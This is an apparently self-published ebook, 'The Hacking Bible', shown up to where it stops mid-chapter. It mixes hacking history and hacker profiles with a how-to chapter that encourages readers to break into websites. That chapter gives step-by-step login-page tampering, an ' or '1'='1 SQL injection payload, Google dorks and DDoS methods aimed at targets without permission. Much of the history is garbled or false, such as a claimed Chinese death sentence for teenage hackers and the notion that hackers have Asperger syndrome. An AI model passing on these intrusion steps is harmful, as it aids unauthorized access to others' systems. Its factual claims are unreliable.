THE

HACKING BIBLE:
The Dark secrets of the hacking world: How you can become a Hacking
Monster, Undetected and in the best way







By Kevin James
© Copyright 2015 by WE CANT BE BEAT LLC

Table of Contents
CHAPTER 1: INTRODUCTION
What Hacking is all About
The History of hacking
Best Hackers of All Time
CHAPTER 2: HOW TO BECOME A HACKER
A Hackers Style
General Hacking Skills
Why Do People Hack?
CHAPTER 3: TYPES OF HACKING
Website Hacking
Ethical Hacking
Network Hacking
Email Hacking
Password Hacking
Computer Hacking
Online Banking Hacking
CHAPTER 4: HACKING AND NON-HACKING
Hackers and the Law
How do Hackers Affect Our Lives
How to Know if You’re Hacked
How to protect Yourself From Hacking
CHAPTER 5: ADVANTAGES AND DISADVANTAGES OF BEING A
HACKER
CHAPTER 6: HACKING TO CHANGE THE WORLD POSITIVELY
An Anonym Hacker Who Could Save the World (based on real case)
CHAPTER 7: HACKING TIPS AND TRICKS
CONCLUSION
Hack Ethically

CHAPTER 1: INTRODUCTION
What Hacking is all About
WWW, and that’s how a new world begins…
It’s World Wide Web, a world that is created by humans and where in the 21st
century, the century of technology most of the people are more present in the
World Wide Web living their lives there and quitting the real life due to the
advantages that World Wide Web is offering them almost for free.
Technology is a science of an ensemble of methods, processes and operations
that are used in order to obtain a product or a result and as Francis Bacon says,
knowledge is already power and technology is knowledge so technology is the
biggest power of our century, a power gives us a great opportunity to do our
daily tasks without putting a big quantity of effort and without running from
place to place just to finish our tasks, technology gives us a big palette of
services such as accessing any information anytime, anywhere, getting into new
virtual worlds based on different domains, communicate with people from other
countries or continents just with a click, paying bills from home and much more
than that
Technology is great, of course, and we all love it because it’s making our lives
easier and more enjoyable but as any other thing it as long as it has advantages it
has also disadvantages because once you put your information on the internet
you are exposing your person, your past, present and maybe a little part of your
future accompanied by your whole package of information that could be
accessed by others who break the security rules and in that way you can lose
basically everything, but as a rule that life inputs if you don’t risk you don’t win.
Nowadays, a lot of people steal. Some of the people steal feelings, break others
people hearts and lives, some of the people steal physical stuff such as cars,
bags, wallets and houses but are those people the only types of offenders in the
world?! The answer is no, they aren’t. There is another type that is growing day
by day and this type is represented by hackers. Hackers are persons who are
passionate and attracted by knowing everything in detail about the cybernetic
systems, especially computer systems. Despite the conception that hackers are
persons with evil intentions that want to run the world someday by their own
conceptions, their passion for details and understanding them most of the
hackers have a professional goal and they don’t use their knowledge to seek and
exploit weakness in a computer system.
Hacking is the operation where you need a computer to use in order to get
unauthorized access into a system which contains informatics.
This kind of definition is losing the most important aspects of a culture that
powerfully helped us to make the 21st century, the high technology century. In
his version 1.0.0, a hacker was a person full of passion ready to give a new sense
to everything around him. His birth was at Tech Model Railroad Club in the 50’s
when the computers were way more different than what we have today and the
best of them are still meeting at ‘’hacker spaces’’ where they organize marathons
of hacking where they are collaborating and interacting with each other to find a
modern solution for a problem.
In the 90’s, a hacker was a good intentioned person who owns large skills in the
domain but as time flies, people started to use ‘’hacker’’ describing an offender
nowadays because a part of the hackers after resolving problems they started to
use their knowledge in an opposite way, creating real monsters who access
people’s protected computers and files and this type of hackers are called “Black
Hat” hackers also known as crackers and the 90’s basic hacker version 1.0.0 is
called nowadays “ White Hat” hackers.
So, when you are sabotaging a person’s computer you are basically hacking
them.
Early in 1971, John Draper who was a computer passionate discovered a box of
cereals for children in which was included a toy whistle that it’s reproducing a
2600-hertz audio tone which was necessary to begin a telephone line and that
marked the moment he started doing phone calls, he ended up being arrested for
phone tampering.
Six years later Steve Jobs and Steve Wozniak both members of the Homebrew
Computer club of California were at the beginning of creating one of the biggest
technology companies in the world but before that, a mysterious device has just
appeared on the market, it was known as ‘’the blue box’’ and it was created
having as a base the discovery from 71’s about generating tones that were
helping the people hack into the phone systems. How great ! Just imagine going
back in time and taking part at how a big company is taking birth and growing
sale by sale. Who ever thought that those boxes will be such a worldwide
success?! I think no one.
The History of hacking
Looking back to the 86’s when hacking was officially a crime due to an
organized congress where Computer Fraud and Abuse Act and the Electronic
Communications Privacy Act agreed that it’s a crime to ‘’ violate’’ computer
systems. Two years earlier Eric Corley started a business with a magazine called
“2600: The Hacker Quarterly” where he was publishing about telephone and
computer hacking and this magazine it began in short time a guide to the
hackers.
Only one year later, the people’s systems of communications and their telephone
networks were very close to a possible end of technology back then, a big
damage that had to affect the whole nation was nearly made by Herbert Zinn
who was living in Chicago also known by the nickname of ‘’Shadow Hawk”
hacked from his bedroom the AT&T’s computer network and broke in the
system, after that he’s got arrested at only 17 years old.
In the same year they discovered the first virus which was called Brain known as
MS-DOS affecting the computer’s system and it was released on the internet and
the unlucky owners of the virus had a ‘’special file’’ created on their hard drive
that was giving their contact information for “ Brain Computer Services” which
was located in Pakistan.
A big shot came in 1988 when a student released the first self-replicating virus
that can affect over 6000 systems and the big problem was with this virus
because it was shutting down the network system for about two days. It was
specially designed to hack security holes in the UNIX systems, this virus was
invented by Robert Morris who graduated from Cornell University before he
released the virus.
After the big shot with only two years, The Electronic Frontier Foundation is
taking birth and it’s major goal was protecting and taking care of the rights of the
people which were accused of computer hacking. Also, "Legion of Doom"
which were four members forming a band in Southeastern United States are
getting into the network and computer systems of
BellSouth's 911 emergency stealing technical information that could affect the
911 service in the United States and they ended up by getting arrested.
The Secret Service cooperated with Arizona's organized crime unit developed
Operation Sundevil, a big national project having as goal hunting down the
computer hackers. What a year!
Gulf War was also affected by hacking culture; a group formed by Dutch
Teenagers broke into the computer network in 1991 and got unauthorized access
getting important information about the war and its plan of operations and
personal information about the militaries who were participating and some exact
numbers about the military equipment that was sent to Persian Gulf. Hackers
represented a major problem in that piece of time because by hacking they were
able to make history by changing military operations plans and by making public
some of the top-secret documents.
As the Gulf War, NASA and the Korean Atomic Research Institute got hacked
by two teenagers known as "Data Stream" and "Kuji" broke into a big number of
computer systems directed by the two institutions and after long time researches
some detectives from Scotland Yard got the two hackers that were so affected
emotionally and ended up crying when captured, they turned the whole mission
into a big drama mixing feelings and emotions with skills and knowledge.
Even the British Queen got hacked! and many important persons form the
British government such as Prime Minister John Major and important military
commandants under secret missions got hacked by a employee at British
Telecom who hacked a computer network which contained all the above people
numbers, the numbers were posted on the internet after the discovery and the
hacker got caught by Secret Services in cooperation with Police. The Citibank
got a massive damage caused by hackers in 1995 when Vladimir Levin got
illegally using his own laptop in Citibank’s computer network where he started
to transfer big sums of money to different accounts around the world that were
supposed to be his accounts and the exact number of money stolen and
transferred is still a mystery today but it’s estimated between $3.7-$10 million,
after this big shot he’s got arrested in Britain with a punishment of 3 years in
prison and an order to pay Citibank $240,000.
According to a report released by The General Accounting Office, 250,000 times
only in 1995 hackers tried to get illegally into Defense Department files which
included precious data and documents, 65% of the attendants already succeed.
Hackers were at every step, CIA’s agents noticed a major change applied to the
website made by a group of hackers known asSwedish Hackers Association who
changed the organization’s name into "Central Stupidity Agency."
1997 represented an important year in Hacking History, the first hacking
program was released with the name of "AOHell", for few days AOL network
was put on pause and hundreds of thousands of users were founding in their e-
mails multiple-megabyte messages also, chat rooms got invaded by a bunch of ‘’
spam’’ messages.
The Symantec AntiVirus Research Center which was the head of security and
antivirus software gave the nation a report telling us that they are more than
30,000 computer viruses free, traveling and circulating without any restriction in
the Virtual World. As any other domain, aviation is also based on technology and
the use of computers are at every step even in the air where there are three
computers on each plane’s board and each of them is communicating with other
computers that belong to the air traffic controllers, without technology aviation
would be 80% dead.
For the first time in aviation bright history, in 1998 aviation’s got the first
massive attack from hackers, Bell Atlantic airport communications system in
Worcester, Massachusetts got hit down by a hacker which caused a big damage
by interrupting the communications between airplanes and the airport for more
than six hours but happily there were no accidents. Information shared with the
public are telling us he’s a boy but they aren’t giving any other personal
information such as name and age.
Hacking can be dangerous for the Black Hat hackers and it can bring them the
death, in the same situation were in 1998 three teenagers, two of them form
Cloverdale, California and the third of them which was the head of the group, an
Israeli teenager known as "The Analyzer” got a sentence to death by a court in
China after breaking into computer network systems belonging to federal
agencies and banks.
E-bay was highly affected in 1999, exactly in March by hacking when a hacker
known as MagicFX breaks into the site destroying the site's front page, the
company was so affected because MagicFX was able to change if he wanted to
the prices, add inexistent items for sale and redirect the whole online traffic to
another site. The Symantec AntiVirus Research Center gives us another report in
2000 estimating that in each hour of the day one new virus is born and left free
to circulate in the Virtual World.
Love is a great feeling, it’s a free gift from life to us that we could open every
day, in every hour and every second but does love only come in this form? No!
it’s not because there is also an "I Love You" virus which showed up in the May
of 2000 in Philippines then contaminating the whole world in a matter of hours.
Before any solution was found it’s estimated damage about $10 billion lost files
worldwide, how tricky love could be if you don’t protect yourself.
Later in 2001 in May, the several U.S. government sites, Department of Health
and Human Services and the Central Intelligence Agency were hacked by couple
groups of Chinese hackers causing information lack and modifying data. In the
same month, Microsoft websites got interrupted by attacks from DDOS-
distributed denial-of-service.
Best Hackers of All Time
Despite the rich and diverse culture, as any other domain, hacking owns a top of
hackers who made the biggest hacks in the world, and it’s hard to be on top
because there are millions of hackers but only the best skilled of them succeed,
the rest are just a part of people used to make the successful hackers shine even
more. In fact, being successful is not even a goal; successful people are people
who do everything with passion and hard work no matter how hard the situation
is and success is a collateral effect you get, not a goal.
Gary McKinnon was born on 10 February 1966 in Glasgow, Scotland, he has
always been curious and passionate about computers and informatics, which is
totally great if you follow your dream in this domain of science. Gray is living
right now in London and he is known as a hacker for the operation he did in
2002 called "biggest military computer hack of all time" when he used to put
down the US Military’s Washington Network of about 2000 computers for 24
hours and that’s how he received the title of “The biggest hacker of all time”, his
curiosity strongly made him to break into NASA’s computers just to get
information on UFOs, he wanted to make sure that he is getting it right from the
source. He illegally accessed 97 US Military and NASA computers by deleting a
couple of files and installing a virus. Everything he made was just to satisfy his
curiosity. The whole hack was from his girlfriend’s aunt’s house in London using
the name “Solo”. More than that, after hacking he posted a message on the US
Military’s website saying “Your security is crap.” And continued hacking but at
the end he admitted that he left a threat on one computer after another hack
saying “US foreign policy is akin to Government-sponsored terrorism these days
… It was not a mistake that there was a huge security stand down on September
11 last year … I am SOLO. I will continue to disrupt at the highest levels … “.
Right now, Gray is happy with his title and by following his dream he is more
than pleased working as a system administrator, a great example of a man who is
happy because he followed his dreams.
LulzSec or Lulz Security is an important group of hackers due to their
realizations, they are a group with eleven members and seven volunteers and
they are doing high profile attacks.
Their motto is "The world's leaders in high-quality entertainment at your
expense", "Laughing at your security since 2011" and their main goal is showing
the gigantic companies their lack of security and absence of taking care of their
personal data. They hacked Sony, News International, CIA, FBI, Scotland Yard,
and several noteworthy accounts to show them how they can play with other
people’s information. By hacking, they were having lots of fun and a
demonstrative attack is when they broke into News Corporations account posting
a report about the death of Rupert Murdoch on 18 July 2011 which was totally
fake.
Also, they have created an ASCII graphic used by them in its Chinga La Migra
torrent, here’s how the graphic looks like:
. /$$ /$$/$$$$$$
.| $$ | $$ /$$__ $$
.| $$ /$$/$$| $$ /$$$$$$$$| $$ \__/ /$$$$$$/$$$$$$$
.| $$| $$ | $$| $$|____ /$$/| $$$$$$ /$$__ $$ /$$_____/
.| $$| $$ | $$| $$/$$$$/ \____ $$| $$$$$$$$| $$
.| $$| $$ | $$| $$ /$$__//$$ \ $$| $$_____/| $$
.| $$$$$$$$| $$$$$$/| $$ /$$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$.$
.|________/ \______/ |__/|________/ \______/ \_______/ \_______/
//Laughing at your security since 2011!
Another important figure in hacking world is represented by Adrian Lamo; he
was born on February 20, 1981 in Boston, Massachusetts and he is mixed race
(Colombian-American)he is known as a former hacker and threat analyst. Lamo
doesn’t own a high school diploma and he was often called “Homeless Hacker”
because he loved to surf, travel, explore abandoned buildings and go to the
internet cafes, libraries and universities to discover network and look after
details, exploiting security holes was always a hobby for him.
Lamo first got media attention when he decided to change careers and realized
his skills in hacking. He hacked big companies such as Yahoo!, Microsoft,
Google, and The New York Times and in two thousand and three he’s got his
first arrest. In the prison, he studied and after getting free he’s got a batch of an
American Threat Analyst which allows him to break into accounts sitting is
spacious places such as cafeterias. Lamo is one of the biggest examples showing
us that school is not learning you everything and the main problem of school
nowadays is the big amount of information school is giving to the students in
different domains in order to let students choose a domain they love and
specialize only on it.
Number four in this top is taken by Mathew Bevan and Richard Pryce, two
hackers which case is similar to Gray’s case. Mathew Bevan was born in June
10, 1974 and he is a British Hacker born in Cardiff, Wales he’s got his first
sentence and arrest in 1996 after breaking into secure U.S government network
protecting himself with the nick name “Kuji”, Mathew wasn’t very good at
school and he used the internet to escape form the real life, in this way he
formed a double life, the first one with ordinary activities at day and the second
life with night activities based on computers and networking. Mathew Bevan and
Richard Pryce created many damages between United States of America and
North Korea as they used to hack the Military Us computers and installing on
them foreign and strange systems. The contents of Korean Atomic Research
Institute were dumped into USAF system.
Jonathan Joseph James (December 12, 1983 – May 18, 2008) is an American
hacker from North Florida and he is the first juvenile in prison due to a cyber-
crime he did at age of 15. His action name is “c0mrade” and he broke into
Defense Threat Reduction Agency of US department and he installed software
that controlled the messages passed on though conversations between the
employees of DTRA and he also collected the user names and passwords and
other details of employees. More than that, he stole important software. NASA
paid from its wallet 41,000$ to shut down its system. Jonathan ended his life
committing suicide in 2008.
Number six is Kevin Poulsen and his hack story is the funniest so far. Kevin Lee
Poulsen (born November 30, 1965) was born in Pasadena, California and he is a
black hat hacker because he used his skills to get one of his interests true, he is
currently working as a digital security journalist. Would you do anything to
follow your dreams? In his case the answer is yes, so from dream to practice was
only a step and he made this step by hacking a radio show powered by Los
Angeles radio station KIIS-FM, the game rules were so simple, the 102nd caller
will win a prize of a Porsche 944 S2 and Kevin wanted to make sure that he will
be the lucky caller so he hacked into their phone line. Known as “Dark Dante”
he went underground when FBI started to follow him but he was caught and
arrested with a sentence of five years. And no one knows what happened with
the car.
Kevin David Mitnick was born on 6 August, 1963 in Los Angeles, California, he
was called once as ‘’the most wanted cyber-criminal of US, but time and work
transformed him into a successful entrepreneur. Kevin is also an important
hacker; he broke into Nokia, Motorola and Pentagon. He’s got media attention
when he was arrested in 1999 and 1988, he had two hack names “The Condor,
The Darkside Hacker” and after spending five years at the prison he opened a
security company named Mitnick Security Consulting.
At the age of 15 he showed his interest to social engineering and he started to
collect information including user name, passwords and phone numbers.
Nowadays, he is working as a computer security consultant but in the past he
used to work as a receptionist for Stephen S. Wise Temple.
Number eight is taken by Anonymous, one of the most popular moves from the
last years, the group was born in 2004 on the website 4chan, it’s more an
ideology and it represents a concept in which few communities of users exist in
an anarchic society and they are fighting for internet freedom against big
corporations. The members are wearing Guy Fawkes masks and they are
attacking religious and corporate websites in special. They have targets such as
The Vatican, the FBI, and the CIA, PayPal, Sony, Mastercard, Visa, Chinese,
Israeli, Tunisian, and Ugandan governments which they almost touch. Many of
the members wish to control the Virtual World someday.
Astra is the cover of a Greek mathematician who is 58 years old and it’s well
known due to the damage Astra caused to the French Dassault Group in 2008.
Astra hacked into their system and stole weapons technology data and for five
years Astra sold the data to five countries around the world. Official sources say
that he had been wanted since 2002. Astra’s happiness meant Dassault sadness
because the damage caused to Dassault was about $360 millions while Astra was
selling data to more than 250 people all around the world.
And the last place in this top is taken by Albert Gonzalez, an American
computer hacker; I’d call him The Master Hacker of internet banking because he
stole more than 170 million credit cards and ATM numbers in the period 2005-
2007. He is originally born in Cuba in 1981 but he immigrated to the USA in
70’s and he’s got his first computer at age of 8.
After many attacks he’s got arrested on May 7, 2008 and got a sentence of 20
years in Federal prison.

CHAPTER 2: HOW TO BECOME A HACKER
A Hackers Style
Hackers are people who enjoy their activity both mentally and practically, they
are problem solvers and new software builders, they are confident and believe in
volunteer work and freed0m, one of their basic rules that we should also adopt
practically and not just theoretically is helping each other when it’s needed, yes,
hackers help their mates whenever is needed. To be accepted in the world of
hackers it depends only on you, depends in the biggest part on your attitude.
Hackers try to understand every piece of a problem and then find or create the
best solution, the motivation of being a hacker should come from your inside
without any influence because the one who is going to be in the situation is you,
and no one else. Being an original good hacker is a mind-set.
But in the community of hackers there are a few rules to respect, and here they
are:
The first rule is about your connection with the world, in the real world problems
can’t be stopped and you have to think about the solution for every problem and
strongly believing there is a solution for every problem, and if there is not you
should create one. Hacking world is absolutely fascinating once you discover it
and you understand it and for a hacker this world should be the only one, hackers
have tons of fun by doing their activity but no one tells about that kind of fun, is
the kind of fun where you have to work and put a lot of effort by exercising your
own intelligence in order to succeed. As a hacker you should rather resolve a
problem than complaining about having a problem, hacking is in fact a lifestyle.
The second rule is a matter of perfectionism; you should believe that once you
solve a problem there is no need to do it again because you already did it in an
ideal way. Jumping into solution isn’t a solution; you have to think at least twice
before you get in action. To behave like a real hacker you should not waste time
on finding two solutions for the same problem, remember? There are a lot of
problems that needs to be solved.The third rule is telling us about the evil work
and boredom, they could seriously affect your activity as a hacker so they are
categorized as being evil. One of the best ways to lose the contact with evolution
and innovation is to become repetitive. A hacker is always creative and ready to
build new stuff and if you are assaulted by boredom it means that you are not
doing your job as you were supposed to, while breaking the first two rules.
Freedom is the best, that’s the fourth rule; everyone loves freedom more than
anything but they realize only when they loose it. Hackers don’t have a boss,
hackers are their own leaders and it depends only on their person if they want to
progress or not, but if we’re talking about a real hacker then he will always be in
a bubble that’s growing. Leave borders somewhere far, you have to be very open
minded in order to be a real hacker which means you should accept new
concepts and ideas and work to realize them, you should make your own rules, a
set of rules which is going to improve your creativity, a set of rules that should
allow you to do whatever you want and whenever you want. Listening to orders
must be excluded from the start; the main idea is about resolving problems with
your own concepts. What are you going to achieve if you are listening to others
ideas? Nothing. It’s worse if you practice their ideas, so be free as a bird in the
sky. Attitude can’t hide the lack of competence; this is the last rule you should
respect. To behave like a hacker you should have a compatible attitude but don’t
forget about the competence and the skills! An excess of attitude is not going to
turn you into a real hacker, is going to turn you into a celebrity or a champion
athlete. Hard work is the ultimate key of success that will help you open doors in
the world of hackers, for being a hacker is needed to have intelligence, practice
and it requests a lot of concentration, also you must be 100% dedicated.
Those rules are going hand by hand, and if you broke one rule you are going to
break them all. Respect is the priority, it all starts and ends with you, if you
really respect yourself then you should respect your choices as well.
I think those rules are a solid base for any successful person and respecting them
would guide into a bright society with responsible people. Unfortunately, we
have to create communities and smaller versions of societies because there is a
very limited number of persons who respect rules. Idealism doesn’t come in big
sizes. Differences between people are meant to be, strong people help wear
people realize how incompetent they are, poor people make rich people feel even
richer, unhealthy people make healthy people their luck and vice versa in each of
the above, that’s how the world works …..
General Hacking Skills
When you build a house, you should have a strong base; it’s the same if we are
talking about hacking. You need a base in hacking too so there are few hacking
skills that are basic skills and I am going to present them to you:
First of all, you should know how to program and if you don’t know you should
learn as fast as possible because that’s in a hacker’s basic package. Programming
is the main skill, if you are a beginner and you don’t know what a computer
language is about then stat using Python, it’s very good for beginners because
everything in Python is so clear and it’s very well documented, I’d personally
say it was designed 50% for beginners due to the simplicity you can work with.
You can find helpful tutorials at Python web site https://www.python.org/.
After learning some basic programming, you will progress and I recommend
learning how to work with C, the core language of UNIX, further more, if you
know to work with C it would not be complicated to work with C++ because
they are very close to each other.
There are other programming languages that are important to hackers such as
Perl or LISP. Perl is the best option if you love practice work despite this, Perl is
used a lot for system administration. LISP is harder to understand but once you
get it you will be very proud of yourself and experienced because it will
definitely help you to be a better programmer.
Actually, only knowing the programming languages is not enough because you
should exercise with your self to think about programming and solving the
problems in a big way without a lot of time needed.
Programming is not an easy skill so you have to write and read codes and repeat
them until you get a certain meaning.
Learn everything about HTML
HTML is the Web’s markup language and it means Hypertext Markup Language,
it’s very important because you learn practically how to build a web page from 0
and it’s helping a lot if you are at the start of programming because it’s codes
will run your mind.
Writing in HTML definitely opens your horizons and makes you think even
bigger than before. What I love about HTML is that you are able to create
anything, you can write, you can create images and forms as you like only by
knowing the codes.
English language is a must
This is an international key of communication, everything has an English version
too even if it’s not the mother language in the country.
If you are not sure about your English skills, you should make them at least
perfect as fast as you can because English is main language in hacker culture and
on the internet. Studies show that English has the biggest and richest technical
vocabulary than any other language of the globe. Grammar is the key to open the
English world. Go for it !
Learning computer networking
Because you are definitely going to break into websites and network resources,
it’s a very important and useful skill because there are a lot of ways to hack a
website but it’s all depending on the server and on the technology that the site
uses such as ASP.net, PHP, etc.
There are sites specially designed for hackers which will take you on a long
road from SQL injection to XXS attacks, just to make sure you have learned
everything.
Learn UNIX and Linux
UNIX represents the operating system on the internet and if you don’t want to be
a hacker this is not a must, but if you are going to be a hacker you should learn
and understand it. Linux is another computer operating system and you can get
very close to it by downloading and using it on your own machine.
To get a great experience in programming and also good skills run the systems,
understand them, read the codes, modify the codes and do it all over again and
don’t forget to have fun while learning.
So, those are some general hacking skills and if you are going to take care of
them and put them in practice you should become a hacker.
Why Do People Hack?
One of the frequent question when it comes about hacking is why do people do it
and there is a big palette of reasons about this subject. Many people ask this
question without even knowing what a hack is about.
Some hackers hack just for having fun, they break into websites, servers and
network systems for their entertainment, other hackers do it because they like to
be in the center of someone’s universe and they get there by hacking into
different stuff and they can do it also to prove someone something at a moment
of their experiences as hackers. They also enjoy doing it because it’s like a mind
puzzle where you are free to put any piece as you want but you know it has to
work and that’s why hackers find it extremely satisfying to hack. Hackers are
also entertained by spying on friend and family and why not on business rivals.
There are hackers who hack a system just to get valuable information, others are
interested in stealing files or services in order to sell them later and get money
on it and a big part of hacking adepts are in this category.
Many of the hackers are powered by their own system, they could be powered
by curiosity, and they are very curious about new systems and very interested in
updates and IT stuff. Many of the curious hackers work for companies especially
to probe their computer systems by hacking them and then they inform the
system administrator about the weakness to help him improve his security.
Money is another reason for hacking; some of the people become hackers just to
be able to make money form hacking techniques such as gaining entry to servers
that contain credit cards details.
Your computer may be hacked if you notice that a big amount of memory is
taken, hackers also hack to use other computers in activities such as depositing
pirated software, pirated music, pornography, hacking tools etc. They can also
use your computer as an internet relay or as a part of a DDoS attack.
An important reason is disrupting, some of the hackers break into target
companies to disrupt the big business just to create chaos and to show them their
absence of taking care about security, most hacks of this type are powered by
hacker groups such as LulzSec. Scientists say that hackers might have a disease
known as Asperger Syndrome (AS) and the victims are people who aren’t good
at social relationships but own a special capacity to focus on numbers and hard
problems for a long time.
Most of the times hackers are categorized as challenge lovers and hacking has a
strong connection with challenging because basically when you are hacking you
are challenging yourself to try new things, to solve the most complicated
problems and if you will succeed once you won’t stop, because that is what is
hacking about, so you are always putting yourself in front of intellectual
challenges.
Those are the most common reasons that are determining people to hack and
their interior power is helping them to transform into real hack masters. There
are people who hack for their personal interests just like Kevin Poulsen who got
his dream car by hacking and of course, there are still unknown reasons.

CHAPTER 3: TYPES OF HACKING
In every country on the globe you will find an own culture, lifestyle, food style,
traditions and people and there will never be two countries with the same culture
or traditions because those are the main features that makes a country unique.
You will meet in your life different types of people, you will meet pacifist
people, quality people, low quality people and the list can continue, it’s the same
if we take a second and think a little bit about hacking, there are different types
of hacking and each type specializes and focuses on something, there are
different goals hackers to reach in every type of hacking.
In the end you can categorize people by types, hackers do exactly the same in
their world, and they categorize types of hacking. I’d say that types created by
reasons and once we know the reason we can categorize a hack.
There are seven big types of hacking, the first one is website hacking and it’s
usually used to hack into big brands/ companies websites. The second type of
hacking is password hacking and hackers do it in this case to collect information
or get access to an important document and others do it just for fun powered by
curiosity, next type of hacking is called computer hacking and it happens when a
hacker is controlling your machine without your permission.
Network hack attacks are growing since 2003, usually hackers break into a
network to disrupt and cause chaos, the fourth type is email hacking and it’s
powered by people curiosity about you, about your activities and hackers might
sent emails with your name pretending they are you, another type of hacking is
the ethical hacking and it’s used when a big company wants to discover their
security threats on a network, system or even on a computer. And the last type,
and the most serious of all is internet banking hack, people who usually perform
this type of hacking aren’t real hackers powered by skills, knowledge, challenges
and curiosity, they are powered by lack of money and that’s why they become
“hackers”, just to get their bank accounts full taking benefit from others bank
accounts.
Website Hacking
Websites are open doors to the world of information and technology, billions of
people use them daily to make their life easier and a lot of people do their
activity on websites. Website hacking means to take authority from the
authorized person, which means that you are controlling the website and after
you break into the website you will be able to do some activities such as posting
messages to the site, modify the interface of the website and basically change
anything you want on that website but you have to remember that it depends
from website to website and that is due to their systems in use. You can become
a website hacker if you have knowledge about HTML and JavaScript at a
medium level and with some exercising you can become a real pro in website
hackings because there are a lot of low-secured websites you can break into
using HTML. This is the kind of simple attack you can make because websites
with complex security details won’t give up in front of this method, but I highly
recommend starting with this kind of website hacking because it’s one of the
easiest ways you can hack a website.
So, if you choose this method you should before anything else open the website
you want to hack and enter a wrong combination of user name and password /ex
username: You, password: 1=1 or “and ‘/, after that the website will deliver to
you a message saying there is an error and the operation can’t be performed, get
ready to handle the fun now. Click right in any place on that page which shows
you there is an error and then select go to view source option and the website
will let you see the source code, there is where the magic happens because you
can the HTML coding with JavaScript and it will appear something like <_form
action="...Login...."> but before this log in information don’t forget to copy the
URL of the site you want to hack. Step four needs a small quantity of attention
because you need to be very careful, all the hack operation depends on this, and
you should efficiently remove the java script code that is validating your
information in the server. After this, you must give a look to <_input
name="password" type="password"> and put in place of <_type=password> this
code <_type=text> and check out if maximum length of password is smaller than
11 and if it is increase it to 11 after doing this you must go to file, select save and
save it where you have free memory on your hard disk using the extension
“.html” / ex.: c:\eleven.html /, move to the next step by double clicking the file
you just made on your hard disk recently and this will reopen your target website
, don’t get scared if you will notify some changes in comparison with the
original page. After doing the entire steps please make sure you made it in the
right way and enter the target website and provide any user name and password.
Congrats! You have just cracked your target website and broke into the account
of List user saved in the server's database.
There is another method used by hackers to break into a website and it’s called
Injection Attack, an injection attack is taking place when there are defects in
your SQL libraries, SQL Database and sometimes it could be the operating
system itself. Employees usually open apparent believable files which are
containing hidden commands and injections, without knowing this. This is the
way they let the hackers get unauthorized access to private information just like
financial data, credit card numbers or social security numbers. I am going to
show you an injection attack example below: Injection Attacks could have the
next order line String query = “SELECT * FROM accounts WHERE custID='” +
request.getParameter (“id”) +”‘”; to make the hacking operation succeed you
change the ‘id’ index in your browser to send ‘or ‘1’=’1 and in this way you will
return all the records from the accounts database to you.
Of course there are other methods you can use to hack a website such as Portal
Hacking (DNN) Technique; this method also takes advantage in Google search
engine to find easy-to-hack websites. If you choose this method you should
remember that here you can hack a website only using Google Dorks or
attempting to a social engineering attack which happens when you give
information to “trustable sources’’ like credit card numbers or via online
interactions such as social media sites and emails and the hack is happening
when you get into what you don’t expect to get into. Another way hackers break
into a website is a DDoS attack- A Distributed Denial of Service attack is when
you try to make a service unavailable by accessing it from multiple sources
generating a big traffic, it’s like taking the water from you when you are in the
middle of the desert where you need it most. The hack could be temporally by
making the website inaccessible for a short period of time or it could be a hack
that shuts down the whole running system. DDoS attacks are made by delivering
a big number of URL requests to the target website in the shortest time possible
and this is causing a CPU run out of resources which is the result of
bottlenecking at the server side. Cross site scripting attacks, Cross site request
forgery attacks and Clickjacking attacks are used by hackers usually to reach
their goal.
Ethical Hacking
As I mentioned, respect is very important in the virtual world because it’s one of
the basic features for a good collaboration. If you are going to respect yourself,
your customers and everything around you it’s impossible to not get success.
Serious business organizations and companies respect their jobs and their
customers and security is a priority for them especially in the virtual world and
that’s why they employee ethical hackers, those hackers belong to ethical
hacking type and they are also known as penetration testers. Ethical hacking is
about high standards security systems, hackers are trying to find flaws and
weakness in a system by trying to hack it and those hackers are helping their
employers to test and fix their applications, networks and computer system.
Ethical hackers main goal is to prevent crackers and black hat hackers get into
the system they are testing.
By adopting this kind of hacking you are combining business with pleasure
because you are exposing yourself to big challenges and more than that you are
also paid for doing it, what could be better? It’s right that you won’t get the same
adrenaline portion you get in case you are not on ethical hacking but hacking in
this way protect you from prison and it’s making you an honest person.
However, you need experience in IT to get in an ethical hacker position and a lot
of work behind you because you can’t just jump in and become an ethical hacker
as many people believe because you will need IT security degrees and
certifications and without experience it’s impossible to get them. If you want to
start as an ethical hacker you need to follow few steps:
First, I have to inform you that it depends on the field you are studying in IT but
you should start with the basics and get your A+ Certification and earn a tech
support status and don’t forget that some experience is always welcomed so it’s
better to have additional certifications such as Network+ and CCNA and after
you get them you should increase your status and move up to admin role. Next,
you should invest some time into getting security certifications like TICSA,
CISSP and Security+ and progress in your career by taking an information
security position. After you’ve got your position it’s recommended to focus on
penetration testing and experience the tool of trade. The next step is getting e
Certified Ethical Hacker (CEH) certification offered by the International Council
of Electronic Commerce Consultants (EC-Council for short) and the last step
after you have got all the above is recommending yourself as an ethical hacker.
Don’t forget about the programming and data bases such as SQL! You will also
need good communication skills, fast problem solving skills and a strong work
ethic because hacking isn’t all technical and you have to be powered by your
own motivation and dedication. Legality is another important aspect we should
take in consideration if we talk about ethical hacking because you aren’t legal
anymore if you attack someone’s network without their full permission, there are
some tests you will be under if you take this job like polygraph tests and basic
background tests. It’s only one code from legal to illegal so be very careful
because getting into black hat hacking will totally destroy your ethical hacking
career, stay away from illegal activities as much as you can.
I have to pick your attention again about becoming a Certified Ethical Hacker
(CEH) because this certification is very important and helpful in the same time,
it will set your mind and make it a hacker mind by helping you understand better
what security is about. They will teach you the most used types of exploits,
vulnerabilities, and countermeasures. After getting the certification you will be
able to do operations like cracking wireless encryption, creating Trojan horses,
backdoors, viruses, and worms and you will find out how to hijack web servers
and web applications despite the fact that you will be a pro in penetration testing,
social engineering and footprinting. Furthermore, you can take online training
and courses live and you can work with self-study materials but in addition The
EC-Council requires a minimum of two years of information-security
experience. One of the most popular figures in ethical hacking is Ankit Fadia, an
Indian ethical hacker and he has written over ten books about computer
engineering and hacking and the first one was written when he was only 15 years
, those books are highly appreciated by professionals. Fadia is currently working
as a computer security consultant. Another famous Indian ethical hacker is Rahul
Tyagi who is an actor and hacker at the same time.
Network hacking is another common used type of hacking and it basically means
assembling information about something by using tools and Port Scanning, Port
Surfing and OS Fingerprinting by using another tools. Tools usually used in
network hacking are Ping, Telnet, NslookUp, Tracert, Netstat, etc. Ping is used
to repair TCP/ IP networks and it’s a part of ICMP- Internet Control Message
Protocol, Ping is an order that makes you able to test if the host is dead or not.
To use ping on a particular host syntax is looking like this c :/>ping
hostname.com and let’s take as an example Google: c:/>ping www.google.com
